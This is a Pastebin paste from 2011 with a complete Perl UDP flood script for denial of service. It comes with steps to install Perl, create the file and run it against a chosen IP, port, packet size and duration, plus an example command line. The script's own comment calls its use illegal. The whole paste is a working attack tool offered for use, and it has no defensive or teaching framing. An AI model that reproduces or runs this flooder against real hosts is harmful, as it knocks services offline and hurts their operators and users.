Guest User

Untitled

a guest
Aug 21st, 2011
582
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. sudo apt-get install perl
  2.  
  3.  
  4.  
  5. nano dos.pl
  6.  
  7. #!/usr/bin/perl
  8.  
  9. ##
  10. # illegal things.
  11. ##
  12.  
  13. use Socket;
  14. use strict;
  15.  
  16. my ($ip,$port,$size,$time) = @ARGV;
  17.  
  18. my ($iaddr,$endtime,$psize,$pport);
  19.  
  20. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  21. $endtime = time() + ($time ? $time : 100);
  22. socket(flood, PF_INET, SOCK_DGRAM, 17);
  23.  
  24. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  25. ($size ? "$size-byte" : "random size") . " packets" .
  26. ($time ? " for $time seconds" : "") . "\n";
  27. print "Break with Ctrl-C\n" unless $time;
  28.  
  29. for (;time() <= $endtime;) {
  30. $psize = $size ? $size : int(rand(1024-64)+64) ;
  31. $pport = $port ? $port : int(rand(65500))+1;
  32.  
  33. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
  34.  
  35.  
  36.  
  37.  
  38.  
  39. perl dos.pl (ip) (port) (65500) (seconds)
  40.  
  41. Should look like this
  42.  
  43. perl dos.pl 123.456.789.10 80 65500 60
Advertisement
Add Comment
Please, Sign In to add comment